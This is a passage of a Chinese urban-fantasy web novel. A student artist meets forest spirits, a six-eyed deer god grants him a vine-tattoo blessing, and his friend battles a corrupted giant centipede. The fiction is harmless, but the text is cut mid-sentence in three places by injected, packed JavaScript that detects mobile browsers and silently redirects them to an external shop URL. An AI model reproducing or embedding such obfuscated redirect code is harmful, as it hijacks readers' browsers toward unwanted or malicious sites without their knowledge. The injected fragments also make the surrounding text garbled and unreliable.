就在他快要走到美院附近时,一个有些熟悉的声音在身后响起: “吴森森?早啊!” 他回头,看见长岛冰茶正小跑着追上来。 她今天换了一身方便活动的休闲装,栗色的短发在晨风中微微翘起,脸色比昨天好了很多,但眼圈下还隐约看得出淡淡的青色,琥珀色的眼睛里却恢复了神采,带着点笑意。 “长岛小姐?早。你没事了吧?” 吴森森停下脚步。 “好多了!睡了一整天,骨头都睡软了。” 长岛冰茶不好意思地笑笑,走到他身边,“你也去学校?哦对,你是美院的。我学校就在你们隔壁,阪大教育大学。顺路,一起走一段?” “教育大学?” 吴森森有些意外,“你是师范生?” “算是吧……” 长岛冰茶的表情变得有点微妙,混杂着自豪和无奈,“主修国语教育。家里要求的,说驱魔师也不能不食人间烟火,有个正经学历和教师资格,以后万一……嗯,我是说,多条出路总没错。就是……” 她夸张地叹了口气,“要累死了! 白天要上课、写报告、准备教资考试,晚上和周末还要去族学补课、练习驱魔术式、完成实践任务……简直不是人过的日子!” 吴森森深有同感地点点头。他虽然不用上“族学”,但美院的课业和创作压力也不小,再加上最近这些“额外活动”,确实感觉时间不够用。 “不过,” 长岛冰茶很快又振作起来,握了握拳头,“这次虽然没抓到‘窗户’,但协助解决了变异的辻神,还发现了重要的线索,族学里的导师应该会给我算学分的!而且……” 她看向吴森森,眼神认真,“谢谢你昨天拉住我跑出来,还有……你最后那一下,很厉害!虽然看起来不太像正统术式。” “运气好而已。” 吴森森谦虚道,心里却对长岛冰茶既要完成普通大学学业又要进行驱魔师训练的双重生活感到佩服。这需要何等的毅力和时间管理能力。 两人边走边聊,主要是长岛冰茶在说,吐槽大学的课程、分享驱魔师训练的趣事,在她口中,有些训练听起来简直像整蛊游戏,偶尔问问吴森森在美院的情况。气氛轻松,仿佛只是两个普通的邻校学生在交流大学生活。 很快,走到了一个岔路口。一边通往美院,另一边通往教育大学。 “我走这边啦!” 长岛冰茶挥挥手,“罐子的事有结果了记得告诉我一声哦!还有,你自己小心点,感觉你特别容易吸引那些东西……回头我看看族学里有没有适合其他人用的护身符制作方法,弄一个给你!” “谢谢,你也多小心。” 吴森森道谢。 看着长岛冰茶活力十足跑开的背影,吴森森笑了笑,转身走向美院。短暂的插曲结束,他必须切换回“普通留学生”模式了。 今天上午是设计艺术史,授课的是一位以严格和“死亡提问”闻名全系的老教授。 他上课不仅内容艰深,还特别喜欢随机点名,让学生复述刚才讲过的观点,或者分析某件作品的风格流派,答不上来就会收获长时间的“凝视”和扣分警告。 是美院著名的“杀手”课程之一。 吴森森可不想在经历了那么多惊险后,反而栽在一门专业课的平时分上。 他深吸一口气,加快脚步,走进了熟悉的教学楼。 ———— 京东那边的画展筹备似乎进入了最后阶段,导师在邮件里叮嘱了几次细节,但远水解不了近渴,吴森森眼下更重要的,是完成这学期的户外写生作业。 这次的目的地是明治之森高尾国定公园,虽然名义上是“国定公园”,但面积广阔,地形多样,既有适合游客的设施完善的区域,也有相对原始、人迹罕至的林地和溪谷,是不少美院学生喜爱的写生地点。 考虑到往返车程和可能的深入写生,行程安排得比较宽松,有可能会在公园附近的民宿或允许露营的区域过夜,虽然吴森森不确定国定公园内部是否允许过夜,但带队的高年级前辈似乎有办法。 因此,吴森森提前给高宏亮打了电话报备。 “喂,高宏先生,我今晚可能不回去住了。学校组织去明治之森写生,可能会在那边过夜。” 电话里,吴森森总感觉有点紧张,像面对长辈时候贪玩的小孩。 高宏亮在那头沉默了两秒,然后传来他透着关切的声音:“明治之森?那地方……还行吧,白天人不少,晚上就难说了。你自己小心点,别往太偏的地方钻,跟紧大部队。荒那小子跟你一起吗?” “嗯,荒也去,还有画室的其他几个同学,三男两女,一共七个人。” 吴森森回答。 “有他在……行吧,多少放心点。不过你也别全指望他,那小子自己也是个不定时炸弹。有事立刻打电话,信号不好就发信息,看到就回你。晚上要是真在外面过夜,找个靠谱的地方,门窗锁好。” 高宏亮絮絮叨叨地嘱咐了一堆,最后才说,“行了,去吧,注意安全,画点好看的回来。” 挂了电话,吴森森心里踏实了些。 出发当天,天气晴朗。 一行人分乘两辆车。荒开着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016490|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的那辆有些年头的灰色轿车,吴森森坐在副驾驶,后座还挤了一个同画室的男生,叫小林,是个有点内向但脾气很好的家伙。 另一辆车由一位有驾照的高年级前辈驾驶,载着另外两男两女。 车子驶离市区,朝着明治之森的方向开去。车窗外的景色逐渐从钢筋水泥变为郁郁葱葱的山林。 后座的小林大概是为了缓解长途乘车的无聊,或者只是个人爱好,正低着头,原本脖子上的石头章放在腿上,手指在空中虚划,指尖偶尔闪过极其微弱的、普通人难以察觉的光点,似乎在练习什么简单的、娱乐性的“小魔法”或者灵力操控技巧——这在艺术生里不算太稀奇,怎么可能? 碰巧小林上次撞见荒教导吴森森术式的时候,大家敞开说明了,小林算是野生的术士,纯粹是碰巧遇到了残缺的术式手册。 荒表示他敢这么练习也是胆子大,以及有些天赋。 但是似乎在其他超自然的事件上,小林没有什么缘分,所以一直生活得很平静。 所以荒和吴森森两人也没有透露任何最近在调查的事情,只是会交流一下对于普通人来说有趣的小把戏。 吴森森从前座的后视镜里瞥见,没有太在意。他的注意力更多放在开车的荒身上。 荒今天穿得很休闲,依旧是那副散漫艺术家的样子,但握着方向盘的手指节分明,眼神望着前方蜿蜒的山路,显得有些深沉,似乎在想什么事情。 “荒,” 吴森森找了个话题,也是他确实好奇的,“这几天没怎么在画室看到你,忙什么呢?” 荒的目光从后视镜里扫了吴森森一眼,又回到路面,语气平淡地答道:“前几天去了趟京东。” “京东?” 吴森森有些意外。荒很少离开阪大,更别说跑去那么远的地方。 “嗯。” 荒应了一声,似乎不打算多说。 但吴森森想起之前荒提到过的、关于“流川之主”本体的沉睡与污染,以及他需要调查污染源的事情。 京东……难道和那些有关? 似乎察觉到吴森森的疑问,荒又补充了一句,声音压低了些,确保后座沉浸在自己小游戏里的小林听不到:“去看了看流川下游的情况,顺便……见了几个可能知道些事情的老朋友。” 流川下游?东京?吴森森心中一动。 流川确实有部分支流流经京东的部分区域。 “情况……怎么样?” 吴森森也压低了声音问。 荒沉默了片刻,山风吹过车窗,带来林间清新的气息,却吹不散他眉宇间一丝凝重。 “比预想的……更麻烦。” 他最终说道,声音里听不出太多情绪,但那简短的几个字,却让吴森森的心微微沉了下去。 “下游的几个关键节点,灵脉淤塞和污染的程度在加剧。虽然表面上看不出来,但‘水’的‘感觉’……很不好。像是被掺进了黏稠的、有毒的东西。” 荒的手指无意识地敲了敲方向盘,“而且,东京那边……某些地方的‘气氛’也很奇怪。表面上歌舞升平,但暗流里,有一些不该出现的‘东西’在活动,痕迹很新,也很隐蔽。” “那你的那些老朋友……” 吴森森试探着问。 “有的闭门不见,有的语焉不详,还有的……干脆失去了联系。” 荒的语气依旧平淡,但吴森森能听出其中隐藏的寒意,“京东的水,比阪大深得多,也浑得多。有些事情,即便是‘老朋友’,也不愿意,或者不敢轻易涉足。” 车厢内陷入短暂的沉默,只有引擎的嗡鸣和窗外掠过的风声。 后座的小林似乎完成了他的“小魔法”,满意地收起手指,开始听起音乐,并未察觉到前排两人之间凝重的氛围。 连京东那样的国际大都市,都已经被阴影悄然渗透了吗? 荒将车驶入停车场,语气恢复了平时的随意:“先专心写生吧。有些事,急也急不来。这片森林……灵气还算充沛,对你的感知训练也有好处。” 18. 萤 夜幕完全笼罩了明治之森。 白日的喧嚣与暑热褪去,取而代之的是山林特有的、带着草木清香的凉爽,以及一种深邃的寂静,偶尔被几声遥远的虫鸣或夜鸟的啼叫打破。 然而,这片寂静很快被另一种光芒点亮。 起初是零星几点,如同坠落的星子,在低矮的灌木丛和林间空地中幽幽闪烁。 接着,越来越多,汇成一片流淌的光河,或成簇聚集,或疏落散布。 是萤火虫。正值盛夏,明治之森的萤火虫进入了发生季,成千上万只小精灵提着它们微弱的、黄绿色的“灯笼”,在夜色中翩翩起舞,将森林点缀得如梦似幻。 吴森森和同学们早已结束了白天的写生,此刻正聚集在营地附近一片相对开阔的草地上,仰头欣赏着这自然奇观。 光影在年轻的脸庞上明明灭灭,带来一种不真实的静谧美感。 “好美啊……” 一个女生轻声感叹,“像《萤火之森》里的场景。” 吴森森心里一动。那部杰潘的动画他看过,讲述人与非人之物在夏日森林里的短暂相遇与别离。 此刻置身于这漫天流萤之中,周围是熟悉的画友,但想想身边这些“人”——拥有流川之主碎片的荒,还有自己这个卷入超常事件的“敏感体质”,以及可能潜藏在森林暗处的、看不见的“居民”们……“反正旁边的家伙也都不是人”这个念头莫名地蹦出来,让他觉得这比喻竟有几分贴切的荒诞感。 然而,宁静并未持续太久。 负责去附近小溪打水的小林,迟迟未归。起初大家以为他只是迷路或贪看风景,但等了近半小时仍不见人影,用手机联系也无人接听,众人开始感到不安。 “我去找找看。” 一位高年级的男生提议。 “一起吧,分头找快一点,但别走散。” 荒站起身,语气平静,但眼神在流萤的光影中显得有些锐利。 于是,六人分成了三组。吴森森自然和荒一组,另外两组各自朝着不同方向寻找。 大家约定,无论找没找到,一小时后必须回到营地汇合。 吴森森和荒打着手电,沿着小林可能去的溪流方向深入树林。 手电的光束切开浓重的黑暗,惊扰了栖息的小虫,也照亮了盘根错节的树根和湿滑的苔藓。 走了大约十几分钟,前方树林深处,忽然出现了一点摇曳的、昏黄的光,不像是手电,更像是……灯笼? “小林?” 吴森森试着喊了一声。 没有回应。但那点昏黄的光,却似乎朝着更深的林间移动了一下。 诡异的是,那提灯的光晕中,似乎映出一个模糊的、穿着旧式和服、身形佝偻的人影轮廓,正不紧不慢地向着森林更深处走去。 荒停下脚步,眉头微蹙。“不对劲。那光……没有‘人气’。” 就在这时—— “嘶啦——!!!” 一声尖锐刺耳、仿佛无数节肢摩擦的怪响,猛地从他们头顶的树冠层中传来!一道巨大的、多足的、如同蜈蚣与影子混合体的诡谲黑影,以惊人的速度从树梢间窜过,带起一阵腥风! 它的目标似乎并不是吴森森和荒,而是在更前方的林地里一闪而逝,但那股浓郁的、令人作呕的邪气和恶意,却清晰无比! “这东西怎么会在这里?!” 荒脸色骤变!更让吴森森心惊的是,荒背后的衣物之下,那片华丽的纹身位置,骤然爆发出灼热的光芒,即使隔着衣服也能看到隐约的蓝紫色光晕! 与此同时,荒的双眼之中,瞳孔深处也燃起了两点相同的、冰冷的蓝紫色火焰,那是属于“流川之主”力量的显化! “待在这里别动!” 荒只来得及低喝一声,甚至没看吴森森的反应,整个人便如同离弦之箭,朝着那多足怪影消失的方向急追而去! 速度之快,瞬间就消失在了黑暗的林木之中,只有他背后那逐渐远去的、微弱的蓝紫光晕,标示着他离去的轨迹。 “荒?!等等!” 吴森森徒劳地喊了一声,回应他的只有山林的风声和虫鸣。 他被一个人丢在了黑暗的森林里。手电的光束因为刚才的惊吓而微微颤抖。 前方那点可能是引诱小林的昏黄灯笼光早已不见踪影,荒也追着那恐怖的黑影消失了。 四周只剩下无边的黑暗、流萤的微光,以及一种突然降临的、令人心悸的孤立无援。 他强迫自己冷静。 必须回到营地,或者至少找个相对安全的地方等待。 他试图辨认方向,但失去了荒这个“指南针”,在漆黑的、地形复杂的森林里,他很快就迷失了。 手电的光只能照亮眼前一小片区域,周围的树木看起来都差不多,他转了几个弯,就彻底分不清来路了。 焦虑和一丝恐惧开始蔓延。 就在他几乎要绝望的时候,周围的萤火虫,忽然变得异常活跃起来。 它们不再只是无序地飞舞,而是开始有意识地朝着某个方向汇聚,形成一条发光的光带。 同时,一些从未见过的、散发着柔和白光的、拳头大小、毛茸茸的团子状生物,不知从哪里蹦了出来,它们没有五官,只是发出轻微的、类似铃铛的“叮铃”声,同样朝着那个方向轻盈地跳跃前进。 这些发光的生物似乎对吴森森没有恶意,甚至有几个白色的光团子好奇地绕着他转了两圈,然后也加入了前进的队伍。 它们散发出的光芒驱散了一些黑暗,也带来一种奇异的、安抚人心的温暖感。 吴森森犹豫了一下。是留在这里等待未知的危险,还是跟着这些看似友好的发光生物走?直觉告诉他,这些生物没有恶意,而且它们前往的方向,似乎有一种莫名的吸引力。 咬了咬牙,吴森森握紧手电,小心翼翼地跟在了发光生物队伍的后面。 走了大约二十分钟,穿过一片尤其茂密的灌木丛后,眼前的景象豁然开朗。 那是一片林间空地,中央矗立着一棵吴森森从未见过的、巨大到不可思议的古树。 树干恐怕需要十人合抱,树皮是深邃的银灰色,上面流淌着天然的、发着微光的脉络,如同有生命般缓缓搏动。 最令人震惊的是,整棵巨树的枝叶,都在散发着一种柔和而纯净的乳白色光芒,并非照亮,而是自身在发光,将这片空地映照得如同月下仙境。 无数的萤火虫,包括更多散发着蓝绿色光的、在夏国古籍里被称为“腐草萤”的特殊品种,围绕着巨树飞舞,那些白色的光团子则在树下欢快地蹦跳,空气中弥漫着浓郁到化不开的生机与宁静气息。 仅仅是站在这里,深吸一口气,吴森森就感觉白天写生的疲惫、刚才的紧张焦虑,以及之前精神力透支的隐痛,都在迅速消散。 身体仿佛泡在温水中,每一个细胞都在欢欣地吸收着这浓郁的、温和的生机能量。 他听说过,某些传说中的灵地,拥有加速伤口愈合、恢复体力的神奇效果,莫非这里就是? 这里是哪里? 无数疑问涌上心头。 吴森森站在发光巨木的光芒边缘,既感到震撼于眼前的美景与神奇,又为失散的同伴和未知的处境感到深深的不安。 ———— 指尖在即将触碰到发光树干的前一刻停住了。并非吴森森主动停下,而是那巨木的光芒如同有生命的流水般,主动蔓延过来,轻柔地包裹了他的手指,带来一种温润如玉、又充满勃勃生机的触感。 没有排斥,只有一种古老而温和的接纳。 与此同时,那些原本围绕着巨木飞舞的幽蓝青绿“腐草萤”,如同受到了无形的召唤,纷纷朝着吴森森面前汇聚。 它们的光点不再散乱,而是有序地流动、交织,渐渐勾勒出一个人形的轮廓。 那轮廓由无数闪烁的萤火构成,起初模糊,继而逐渐清晰、稳定。最终,出现在吴森森面前的,是一个身形颀长、穿着样式古朴的深衣曲裾的年轻男子虚影。 他面容清俊,眼神温和中带着历经岁月的沧桑,长发以简单的木簪束起,整个人散发着与周围萤火和巨木光芒同源的、宁静悠远的气息。 他的身形有些半透明,仿佛随时会随风消散,又仿佛与这片森林的光与影融为一体。 “远道而来的客人,请不必拘谨。” 虚影男子开口,声音清越悦耳,如同林间溪流碰撞卵石,带着一种古老的韵律,说的却是清晰的现代汉语,“若不嫌弃,可到常世之木下稍坐,森鹿大人片刻即至。” 吴森森心中震撼无以复加。这突如其来的灵体,古老的中式衣冠,流利的汉语,还有“常世之木”、“森鹿”这些陌生的称谓…… 但他奇异地没有感到恐惧,对方身上散发出的那种平和、自然、以及与夏国文明隐隐相关的亲切感,让他本能地觉得可以信任。 他依言,走到那棵散发着乳白色光芒的参天巨木的树根盘结处,那里有几块表面光滑、仿佛被打磨过的、同样微微发光的石头,恰好可以当作坐处。 他坐下,感觉身下的石头传来温暖踏实的感觉,连带着疲惫的精神都舒缓了不少。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016491|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自称“萤”的男子虚影并未坐下,只是飘然立于一旁,周身萤火静静环绕。 他看向吴森森的眼神带着好奇与一丝探究。 “这里是……?” 吴森森忍不住开口询问,目光扫过发光的巨木和这片神奇的空地。 “此地是常世之木在此方森林的一个投影,或者说,一个连接的‘节点’。” 萤耐心地解释道,手指轻抬,指了指头顶光芒万丈的树冠,“常世之木,并非独属于某一处。但凡天地灵气汇聚、古老成气候的巨大森林,其核心深处,都可能与‘常世’的概念产生共鸣,形成这样一棵连接现世与常世的桥梁之木。 你可以将它理解为……建木的一种形态,或者一个分支。” “建木?!” 吴森森脱口而出。这个名词他可不陌生,夏国上古神话中连接天地人神的巨木! “哦?你知道建木?” 萤的眼中闪过一丝讶异,随即化为更深的温和笑意,“是了,你既是夏国人,知晓祖地神话也是自然。我观你形貌气质,确是夏国血脉无疑。” 他看了看自己身上虚幻的深衣,又看看吴森森现代的衣着,眼中掠过一丝复杂的怀念,“我……并非真正的萤火虫所化。这副模样,不过是寄托之物。” 他顿了顿,似乎陷入了遥远的回忆,身形也因此变得更加飘忽了一些:“我本姓罗,至于氏与名……年代太久,漂泊太远,早已忘却了。只依稀记得,应是战国纷争之时,为避祸乱,或为寻访仙道,乘舟自琉球主岛,也就是今夏国宝岛省出发,一路漂泊至琉球群岛,后又因缘际会,辗转来到了当时成为倭国的地方。可惜,最终……客死异乡。” 他的声音平静,却带着穿越千年的孤寂与怅惘。 “魂魄本应归于天地,或因执念,或因这异乡土地灵气的特殊,我的部分残念与意志,竟在某个季夏之夜,与此地腐草所化的萤火虫产生了奇异的交融。这些萤虫,本就蕴含一丝微弱的、向死而生的自然灵性,与我这不甘彻底消散、又思念故土的残念结合……便成了如今这般模样。 非生非死,非人非虫,依托萤火与森林灵气而存,浑浑噩噩,直至感应到常世之木的呼唤,才得以在此栖息,恢复了些许清明。” 原来如此!一位两千多年前的战国方士的残魂,与异乡的腐草萤火结合,形成了眼前这个特殊的灵体“萤”! 难怪他衣冠古雅,通晓汉语,却又对杰潘之地如此熟悉。 “至于你为何是森鹿大人的客人……” 萤将话题转回当下,看向吴森森的眼神多了几分郑重,“‘缘’之一字,最为奇妙。你能来到此处,并非偶然。是这片森林的意志——或者说,是守护这片森林的‘主人’,森鹿大人——感应到了你身上特殊的‘缘’,才让迷失方向的你,被萤火与木灵引导至此。” “森鹿大人是……森林之神?” 吴森森问。 “可说是,也可说不是。” 萤微微摇头,“森鹿,并非人格化的神祇,而是这片明治之森庞大灵脉与自然意识凝聚显现的最高等自然灵。是森林本身意志的化身,是生机、庇护、循环与平衡的象征。 祂的形态常被感知为巨鹿,故以‘森鹿’称之。祂是森林的‘主人’,维系着此间万灵的和谐。” 他目光落在吴森森身上,仿佛在看他,又仿佛在看他身上某种无形的联系:“而你身上的‘缘’,与森林,与‘木’,与‘自然’息息相关。‘森’这个字,本身便是‘缘’的一种古老显化,象征着众多树木汇聚的生命力与联结。 你能看到常世之木的投影,能被引导至此,正是这‘缘’被森鹿大人感知的证明。至于这‘缘’具体为何,从何而来,或许只有森鹿大人,或者你自己,才能慢慢明了。” 吴森森听得心潮起伏。自己身上有与森林相关的“缘”?是因为最近频繁接触超自然事件,灵感提升的缘故?还是…… 就在这时,周围的空气似乎微微震动了一下。 不是声音,而是一种庞大、温和、充满生命威严的气息,如同潮汐般缓缓弥漫开来。 发光的巨木光芒变得更加柔和、圣洁。 空地边缘的森林阴影中,传来极其轻微的、如同巨大而柔软的蹄足踏在苔藓上的声响。 萤立刻挺直了虚影的身躯,面向声音传来的方向,微微躬身,语气充满敬意: “森鹿大人,您的客人已至。” 吴森森也下意识地站了起来,心脏不由自主地加快了跳动。他看向那片阴影,只见一个巨大而优美的轮廓,缓缓从黑暗中步出,踏入常世之木的光芒之中。 19. 森鹿的祝福 站在高达三米、周身沐浴在月华般柔光中的森鹿面前,吴森森才真正看清这位森林意志化身的细节。 那并非仅仅是一只巨大的白鹿,它的形象超越了凡俗生物的范畴,充满了自然造物的神性与威严。 最引人注目的是它的头部。并非寻常的一双眼睛,在它宽阔的额顶两侧,对称地分布着三对、总共六只眼睛! 这些眼睛并非同时睁开,而是如同星辰般交替闪烁着深邃的祖母绿光芒,每一只似乎都注视着不同维度、不同层面的存在,蕴含着洞察万物、通晓自然的智慧。 它的脖颈修长优美,但皮肤并非平滑,而是覆盖着一层层如同鲨鱼鳃裂般、微微开合的银白色半透明片状结构,随着呼吸(如果它有呼吸的话)轻轻起伏,仿佛在吞吐着整片森林的气息。 这或许就是它沟通天地、调节林间微气候的器官。 最奇异的是它周身始终萦绕着一层几乎不可见、却能清晰感知到的、轻柔流动的“风”。 那不是普通的气流,而是蕴含着勃勃生机、草木芬芳、泥土湿润与万物呼吸韵律的自然之息。 吴森森想起夏国古语“生物之以息相吹也”,形容万物凭借气息相互激荡、生生不息,眼前的景象正是这句话最完美的诠释。 按理说,面对如此巨大、如此超凡的存在,人类本能应会感到“巨物恐惧”。 但吴森森没有。相反,一种前所未有的宁静、祥和与归属感包裹了他。 森鹿的存在本身,就是一种“美好”与“纯洁”的具现化,是生命、成长、庇护与平衡最极致的体现,不带丝毫暴戾与压迫。 森鹿微微低下头,将它那闪烁着星光的、华盖般的晶莹鹿角倾向吴森森。动作缓慢而庄重。 然后,它用额头正中、最柔软温暖的部分,极其轻柔地触碰了一下吴森森的头顶。 那一瞬间没有巨响,没有强光。 只有一股温暖、清凉、充满无限生机的洪流,如同最纯净的泉水,又如同春日第一缕阳光,从头顶的接触点温柔地灌注进吴森森的四肢百骸、灵魂深处! 仿佛积攒的尘埃被洗涤,堵塞的脉络被疏通,一种从内到外的净化与焕新感席卷了他。 连日来的疲惫、紧张、恐惧,乃至更深层、连他自己都未察觉的负面情绪与杂质,都在这一刻被轻柔而坚定地拂去。 与此同时,他感觉到自己右臂小臂内侧的皮肤传来一阵微热、酥麻的触感,仿佛有生命的东西正在那里生长、勾勒。 他下意识地卷起袖子看去。 只见皮肤上,正悄然浮现出一串精致、优美、充满生命律动的绿色纹身。 主体是缠绕生长的藤蔓,枝叶栩栩如生,嫩绿欲滴,藤蔓上点缀着数个含苞待放的小巧花苞,形态各异,似乎蕴含着不同的意味。 纹身并非静止,而是随着他的呼吸和心跳,仿佛有极其微弱的绿光在其中缓缓流淌,如同拥有生命。 这是森鹿的祝福。 随着纹身的显现,吴森森对整个明治之森的感知发生了天翻地覆的变化。 他不再是一个置身于森林中的“外人”,而是感觉与这片广阔的林地建立了某种深层的、血脉相连般的联系。 他能“感觉”到脚下泥土的湿润,能“听到”远处溪流的潺潺,能“闻到”夜风中不同树木的气息,甚至能隐约感知到森林各处细微的“异动”——比如远处某个灌木丛中小动物的惊慌逃窜,更深处某片区域不自然的能量淤积。 以及……东北方向,那股狂暴、邪异、充满侵略性与痛苦的庞大气息,正在与另一股奔腾、愤怒、带着水泽清冽的气息激烈碰撞! 是荒和多足怪影!他们果然在战斗! 就在吴森森沉浸在这全新的感知中,并立刻想利用这感知锁定荒的位置去帮忙时,一股清晰而温和的意念直接流入他的脑海,是森鹿的声音或者说,是直接的精神沟通: “年轻的有缘者,此乃森林的祝福与标记。它将使你与此地共鸣,助你感知林间万物,亦可引动森林之力,对污秽邪物造成伤害。然,汝之身躯与灵魂尚无法完全承受此力之重。” 森鹿的意念缓慢而清晰:“留意你臂上藤蔓之花苞。当第五朵花苞绽放之时,便是你目前所能承受的森林之力的极限。届时,务必停止引动,静待花谢,方可再次使用,否则将有损你身,亦会扰乱森林之息。” 限制与保护,吴森森明白了,这既是馈赠,也是责任与警示。力量并非无限,需量力而行。 “那怪物……是何物?” 吴森森在心中发问。 “大百足,原是北方某县山中受人供奉之‘百足神’,司掌部分山地与虫豸。然信仰凋零,灵脉枯竭,其欲庇护之村民却困苦依旧。 悲悯与执念使其误入歧途,开始吞噬他处生灵以维持灵力,扩张领域。近来,更被邪异之辈诱捕、改造,失了本性,沦为凶暴贪婪之器,气息已然大变。” 森鹿的意念中带着一丝惋惜与沉重。 “吾乃此地庇护之灵,维系平衡为本。大百足虽已堕落,其本源仍与山相连,强行驱逐或灭杀,恐伤及山脉灵脉,引发更大灾厄。且邪教对其之改造,亦使其难缠。” 森鹿的六只眼睛看向吴森森右臂的纹身,“然,汝臂上之祝福,源自森林本源之生机,对受邪气侵染、背离自然之存在,有天然克制与‘标记’之能。汝可循此感应,寻得大百足,并以森林之力伤其根本,破其邪术加持。” 吴森森精神一振。他可以帮忙!不仅能找到荒,还能真正地参与战斗,对付那个堕落的百足神! “去吧,循着祝福的指引,助荒一臂之力,亦为森林除去一害。切记,花苞之限。” 森鹿最后叮嘱道,同时,一股更清晰的方位感通过臂上纹身传递过来,直指东北方那两股能量激烈交锋之处。 “至于那‘提灯人影’……” 森鹿的意念转向一旁静立的萤之灵,“乃山中迷失之野魂。萤,汝曾为人,通晓魂魄之理,或可寻之、问之、导之。” 萤的虚影微微躬身:“萤领命。必尽力寻得那野魂,帮吴先生寻找友人踪迹。” 吴森森心情激荡,他看向手臂上那串发着微光的藤蔓与花苞纹身,又看向东北方那感知中能量激荡的方向,深吸一口气,对森鹿深深鞠了一躬:“多谢森鹿大人!我这就去!” 又对萤点头致意:“之后再拜托你了,萤先生!” 萤回以温和的微笑:“小心行事,年轻人。” 没有再犹豫,吴森森转身,循着臂上纹身传来的、无比清晰的方位感应,朝着黑暗的森林深处,朝着荒与大百足激战的方向,迈开了步伐。 ———— 森林东北隅,一片相对开阔的溪谷地带,此刻已不复宁静。 空气中弥漫着刺鼻的腥臭、焦糊的草木味,以及浓烈的水汽。 大百足那庞大的身躯在夜色与林间微光下显现出令人作呕的形态:身长超过十米,通体覆盖着暗沉如生锈铁甲的环节硬壳,每一节两侧都探出无数对锋利的、带有倒钩的步足,划动间轻易撕裂地面植被和岩石。 它的头部狰狞,口器如同巨大的、不断开合的钳剪,复眼闪烁着混乱与痛苦的红光。周身缭绕着粘稠、污浊的黑紫色邪气,如同活物般翻滚,所过之处,草木迅速枯萎、腐败。 大百足最初的攻击,那些试图用巨颚钳咬、用钢铁般的环节身躯冲撞、用尾刺穿刺的动作都刻意避开了粗壮的树木和山岩的根基,似乎还残存着一丝对山林的眷顾与不忍破坏的本能。 它发出的嘶吼,在暴戾中隐约夹杂着痛苦与迷茫。 但它的对手,此刻的“荒”,显然没有这份“克制”。 此刻的荒,几乎看不出平日里那个散漫画家的模样。他周身被狂暴的、呈现出诡异蓝紫色的“水流” 所包裹、缠绕。 那不是平静的河水,而是如同沸腾的火焰般跃动、扭曲的液体,散发着灼热的高温与刺骨的寒意两种矛盾的属性。 水流依附在他体表,仿佛一层液态的铠甲,又像无数条暴怒的河蛇。 荒裸露的手臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016492|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和小腿皮肤上,覆盖了一层细密、闪烁着幽蓝光泽的半透明鳞片;手指关节略显粗大,指甲变得尖锐;最令人心悸的是他的眼睛——瞳孔收缩成冰冷的竖瞳,眼白部分染上了淡淡的蓝紫色,眼神中充满了原始的怒意、狂暴的战意,以及一丝……漠然。 流川之主的力量与意志,在遭遇强敌和邪气刺激下,似乎暂时压倒了诹访隼人的意识,占据了主导。 “吼——!” 大百足再次挥动巨颚砸下,被荒以一种超越人类极限的速度侧身闪过,原先站立的地面被砸出一个浅坑,毒液飞溅。 “嗤!” 荒根本不废话,反手一挥,一道由那沸腾水流凝聚而成的高压水刃激射而出,快如闪电,直劈大百足一节躯干的连接处! 大百足慌忙扭动身躯,坚硬的外壳与水刃碰撞,发出令人牙酸的摩擦声,爆开一溜火星和浑浊的水汽。 外壳被斩开一道深深的裂口,墨绿色的粘稠□□渗出,水刃中蕴含的那股净化的力量,让伤口处的邪气剧烈翻腾、消散,带来加倍的痛苦。 “嘶——!!!” 大百足发出痛苦的尖啸,那残存的对山林的顾忌,在剧痛和荒毫不留情的追击下,终于被彻底的暴怒与凶性淹没! 它猛地昂起前半身,那狰狞口器大张,一股墨绿中泛着紫黑、散发着令人作呕恶臭的毒液,如同高压水枪般狂喷而出!毒液并非瞄准荒,而是呈扇形覆盖了前方大片区域! “滋滋滋——!!!” 毒液所及之处,生机勃勃的灌木和野草瞬间枯萎、碳化,化作飞灰。 坚硬的岩石表面被腐蚀出密密麻麻的坑洞,冒出刺鼻的白烟,竟有融化的迹象! 地面上的土壤也变得焦黑板结,失去活性。更有缕缕污浊的诡神气息混合在毒液中,进一步侵蚀着周围的生机。 荒眼中蓝紫光芒大盛,身周沸腾水流急速旋转,形成一道流动的屏障。 大部分毒液被水流阻挡、冲散,但仍有少量穿透,落在他手臂的鳞片上,发出“嗤嗤”的腐蚀声,鳞片微微暗淡,但并未被彻底破坏。 然而,大百足的攻击连绵不绝。 它庞大的身躯看似笨重,实则灵活异常,在溪谷岩石和林木间高速游走,不断变换位置,喷吐毒液,挥动巨颚和步足,甚至甩动钢铁般的尾巴进行横扫。 它不再顾忌破坏,毒液和狂暴的攻击让这片原本清幽的溪谷迅速化为凋零与腐蚀的死亡地带。 荒则如同不知疲倦的战斗机器,以攻对攻。 他周身沸腾水流化作最致命的武器。 